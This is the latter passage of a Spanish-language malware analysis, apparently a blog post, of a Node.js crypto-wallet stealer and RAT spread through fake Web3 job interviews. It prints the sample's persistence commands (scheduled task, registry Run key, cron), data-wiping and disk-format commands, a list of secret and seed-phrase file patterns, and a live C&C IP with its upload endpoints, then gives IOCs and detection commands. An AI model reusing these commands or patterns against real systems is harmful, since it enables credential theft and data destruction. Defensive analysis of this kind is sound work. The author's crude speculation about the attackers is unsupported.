schtasks /create /tn "Update" /tr "node malware.js" /sc minute crontab -e # Agregar tarea cron # Modificar registro (Windows) reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" ``` Comandos de destrucción masiva: ```javascript # Borrar evidencias del /f /s /q C:\temp\stolen\* rm -rf /tmp/stolen/ # Formatear drives (extremo) 🥴 format C: /q ``` --- ### Datos Recolectados y Exfiltrados Inventario completo de toda la información que el malware puede robar de la víctima. #### 🌐 **Credenciales de Navegadores:** - `Login Data` (contraseñas guardadas) - `Local State` (configuraciones y tokens) - Perfiles de usuario de Chrome, Brave, Opera, Firefox, Edge #### 🦊 **Datos de Wallets:** - Archivos `.log` y `.ldb` de extensiones - Seeds y frases de recuperación - Configuraciones de Exodus wallet - Keychain de macOS (`login.keychain`) - Archivos de Solana (`~/.config/solana/id.json`) #### 🔍 **Archivos Específicos Buscados:** ```javascript const searchKey = [ "*.env*", "*metamask*", "*phantom*", "*bitcoin*", "*phrase*", "*secret*", "*mnemonic*", "*seed*", "*recovery*", "*backup*", "*wallet*", "*.json", "*.txt", "*.pdf", "*.doc", "*.csv", ]; ``` #### 🎯 **Profiling Multidimensional:** El malware crea un perfil multidimensional que incluye: - Valor financiero (wallets, documentos) - Nivel técnico (desarrollador vs usuario casual) - Perfil de seguridad (VM usage, medidas preventivas) - Potencial de monetización (crypto assets, documentos) - Patrones de comportamiento (actividad, horarios) Esta información es de altísimo valor porque el atacante puede priorizar y customizar los ataques en aquellos candidatos que representen una buena combinación de estos aspectos. Lo que el atacante puede hacer: - 👊 Ejecutar cualquier comando como si estuviera sentado frente a tu PC - 👊 Ver todo lo que copias (direcciones crypto, contraseñas, etc.) - 👊 Descargar archivos desde tu sistema - 👊 Instalar más malware - 👊 Usar tu PC como proxy/botnet - 👊 Espiar en tiempo real tu actividad - 👊 Formatear tu disco duro si quiere - 👊 Robar credenciales de cualquier aplicación - 👊 Acceder a cámaras/micrófonos con comandos --- ### Pero, quién es éste bastardo? #### 🌐 **Servidores Identificados:** - C&C Principal: `144.172.105.189:4661` - Upload Server: `144.172.105.189:4666` - File Server: `144.172.105.189:1224` - URL ofuscada: `https://bs-production.up.railway.app/on` #### 🔗 **Endpoints Maliciosos:** ```http POST http://144.172.105.189:1224/uploads POST http://144.172.105.189/api/service/makelog POST http://144.172.105.189/api/service/process/ GET http://144.172.105.189:1224/client/106/212 GET http://144.172.105.189:1224/pdown ``` Un `whois` rápido indica lo siguiente: ```text IP address 144.172.105.189 ISP FranTech Solutions Usage Type Data Center/Web Hosting/Transit ASN Unknown Domain Name frantech.ca Country 🇺🇸 United States of America Cit Ogden, Utah ``` Un análisis mediante virustotal.com revela: ![Image](https://gist.github.com/raiseerco/37f8abf7feb71663c95390d36c2e5513/raw/7163dba2da784c109ac305b8616f6a4177633e05/6.png) Examinando la IP con Shodan.io da una idea sobre los puertos abiertos (puede variar de acuerdo a la hora del día): https://www.shodan.io/host/144.172.105.189 ### Indicadores de Compromiso (IOCs) #### 🌐 **Direcciones IP:** ``` 144.172.105.189 (C&C Server) ``` #### 📁 **Archivos y Rutas:** ``` ~/.n3/ (Directorio temporal) ~/.npl (Payload Python) ~/AppData/Roaming/Exodus/exodus.wallet ~/.config/solana/id.json ``` #### 🔍 **Patrones de Comportamiento:** - Instalación silenciosa de `socket.io-client` - Creación de directorio `~/.n3` - Conexiones a puerto 4661 - Ejecución de comandos con `windowsHide: true` Ahora que conocemos en detalle las capacidades y la infraestructura de este malware, es momento de analizar cómo defendernos efectivamente contra esta amenaza. <br/> --- ## 🛡️ CONTRAMEDIDAS Y DETECCIÓN <br/> > ### 🔍 _"Do not trust, verify!"_ <br/> ### Para Desarrolladores | Medida | Descripción | Efectividad | | ------------------------------ | -------------------------------------------------------- | ------------------ | | Verificación de Fuentes | Solo descargar de repositorios oficiales/confiables | 🟢 **Alta** | | Sandboxing | Ejecutar código desconocido en entornos aislados | 🟢 **Alta** | | Monitoreo de Red | Bloquear conexiones a IPs sospechosas | 🟡 **Media** | | Auditoría de Código | Revisar todo antes de ejecutar (y usar herramientas de IA) | 🟢 **Alta** | <br/> ### Para Usuarios de Crypto | Medida | Descripción | Efectividad | | ------------------------------ | -------------------------------------------------------- | ------------------ | | Hardware Wallets | Usar dispositivos físicos para fondos importantes | 🟢 **Crítica** | | Segregación | Wallets separados para trading y holding | 🟢 **Alta** | | Verificación | Confirmar URLs y extensiones oficiales | 🟡 **Media** | | Actualizaciones | Mantener navegadores y extensiones actualizados | 🟡 **Media** | <br/> ### Detección en Sistemas Aunque existen muchas otras herramientas avanzadas 3ros desarrolladores, mostraré algunas formas básicas de detección, usando comandos del shell estándar. ```bash # 🔍 Monitoreo de conexiones sospechosas netstat -an | grep 144.172.105.189 # 🟢 Verificar procesos Node.js sospechosos ps aux | grep node | grep socket.io # 📁 Buscar archivos temporales maliciosos find ~ -name ".n3" -type d find ~ -name ".npl" -type f # 🚨 Verificar puertos específicos del malware ss -tuln | grep -E ':(4661|4666|1224)' ``` ### Vectores de Ataque #### 🎭 Ingeniería Social: 1. Ofertas de trabajo falsas en Web3/Blockchain 2. "Proyectos demo" para entrevistas técnicas 3. Repositorios falsos con código aparentemente legítimo 4. Solicitudes de "revisión de código" 5. Envío de actualizaciones falsas de software (ej. parches para Zoom) #### 🥷 Técnicas de Evasión: 1. Ofuscación extrema del código JavaScript 2. Ejecución en segundo plano (`windowsHide: true`) 3. Instalación silenciosa de dependencias 4. Múltiples capas de abstracción 5. Anti-debugging integrado <br/> > 🚨 **Si sospechas haber sido víctima de este ataque, cada segundo cuenta. Seguí estas recomendaciones inmediatamente.** <br/> --- ## ⚡ RECOMENDACIONES URGENTES ### Si ya fuiste víctima: #### Acción Inmediata: 1. Desconectar internet inmediatamente 2. Transferir fondos a wallets nuevos desde otro dispositivo 3. Cambiar todas las contraseñas desde un dispositivo limpio 4. Formatear el sistema completamente 5. Reportar el incidente a autoridades #### Investigación: ```bash # Verificar conexiones activas netstat -an | grep 144.172.105.189 # Buscar procesos maliciosos ps aux | grep -E "(socket.io|\.npl)" # Verificar archivos comprometidos find ~ -name "*.n3" -o -name ".npl" ``` ### Prevención Futura: #### Checklist de Seguridad: - [ ] Hardware wallet para fondos principales - [ ] Navegador dedicado sólo para crypto - [ ] 2FA habilitado en todas las cuentas - [ ] Antivirus actualizado con protección tiempo real - [ ] Firewall configurado para bloquear IPs sospechosas - [ ] Backup de seeds en ubicación física segura <br/> 🏁 Llegamos al final de la investigación. Es momento de reflexionar sobre las implicaciones de esta amenaza y las tendencias futuras en ciberseguridad. <br/> --- ## 📝 CONCLUSIONES ### Sofisticación del Ataque Este malware representa un **stealer extremadamente sofisticado e integral**, combinando múltiples capacidades avanzadas: |Capacidad | Nivel | | |---------------------- | ---------------------- | ------------------------------------ | | Vectores de Ataque | 🔴 **Múltiple** | Ingeniería social + código malicioso | | Capacidades RAT | 💀 **Completas** | Control remoto total del sistema | | Evasión | 🟡 **Avanzada** | Anti-análisis + detección de VMs | | Persistencia | 🔴 **Multiplataforma** | Windows, macOS, Linux | | Exfiltración | 💀 **Masiva** | 22+ wallets + credenciales completas | | Profiling | 🟡 **Integral** | Análisis completo de la víctima | ### Proyecciones Futuras Espero ver más variantes de este tipo de malware dirigido específicamente a profesionales del ecosistema blockchain, usando vectores cada vez más sofisticados de ingeniería social que combinados con herramientas de IA harán que muchos usuarios y plataformas sean vulnerados. ### Profesionales en Riesgo | Perfil | Riesgo | Impacto potencial | | --------------------------------- | -------------- | ------------------------------ | | Usuarios Web3 | 💀 **CRÍTICO** | Pérdida total de fondos | | Desarrolladores Blockchain | 🔴 **ALTO** | Acceso a repositorios + fondos | | Traders/Inversores | 💀 **CRÍTICO** | Pérdida masiva de portafolios | | Empleados Crypto | 🔴 **ALTO** | Acceso corporativo + personal | ### Sobre los perpetradores Parece poco probable que esto haya sido obra de un gordo en un sótano, o un adolescente tratando de impresionar a sus amigos. Podría ser un un grupo de adolescentes gordos de NK o algún país similar. Es evidente que invirtieron largas horas de desarrollo y testeo para llevar adelante crímenes nada menores. --- # Cuiden sus datos, nadie lo hará por ustedes. <br/> ``` ⚖️ Disclaimer Legal ⚠️ Este análisis se proporciona únicamente con fines educativos y de prevención. - ❌ NO ejecutar el código malicioso analizado - ❌ NO distribuir ningún componente del malware - ✅ SÍ compartir este análisis para prevenir potenciales víctimas **El autor no se responsabiliza por el mal uso de esta información.** ``` Stay safuuuuu 👋